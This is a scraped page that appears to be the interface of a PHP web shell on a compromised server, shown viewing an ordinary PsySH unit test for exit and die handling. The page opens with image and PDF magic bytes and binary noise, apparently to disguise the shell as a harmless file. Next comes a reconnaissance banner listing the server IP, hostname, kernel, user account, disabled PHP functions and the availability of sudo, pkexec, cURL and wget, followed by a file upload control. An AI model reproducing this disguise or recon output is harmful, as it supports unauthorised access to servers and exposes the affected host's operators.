ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.185 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/_api/vendor/psy/psysh/test/Psy/Test/CodeCleaner/ |
Upload File : |
<?php /* * This file is part of Psy Shell. * * (c) 2012-2017 Justin Hileman * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Psy\Test\CodeCleaner; use Psy\CodeCleaner\ExitPass; class ExitPassTest extends CodeCleanerTestCase { /** * @var string */ private $expectedExceptionString = '\\Psy\\Exception\\BreakException::exitShell()'; public function setUp() { $this->setPass(new ExitPass()); } /** * @dataProvider dataProviderExitStatement */ public function testExitStatement($from, $to) { $this->assertProcessesAs($from, $to); } /** * Data provider for testExitStatement. * * @return array */ public function dataProviderExitStatement() { return array( array('exit;', "{$this->expectedExceptionString};"), array('exit();', "{$this->expectedExceptionString};"), array('die;', "{$this->expectedExceptionString};"), array('exit(die(die));', "{$this->expectedExceptionString};"), array('if (true) { exit; }', "if (true) {\n {$this->expectedExceptionString};\n}"), array('if (false) { exit; }', "if (false) {\n {$this->expectedExceptionString};\n}"), array('1 and exit();', "1 and {$this->expectedExceptionString};"), array('foo() or die', "foo() or {$this->expectedExceptionString};"), array('exit and 1;', "{$this->expectedExceptionString} and 1;"), array('if (exit) { echo $wat; }', "if ({$this->expectedExceptionString}) {\n echo \$wat;\n}"), array('exit or die;', "{$this->expectedExceptionString} or {$this->expectedExceptionString};"), array('switch (die) { }', "switch ({$this->expectedExceptionString}) {\n}"), array('for ($i = 1; $i < 10; die) {}', "for (\$i = 1; \$i < 10; {$this->expectedExceptionString}) {\n}"), ); } }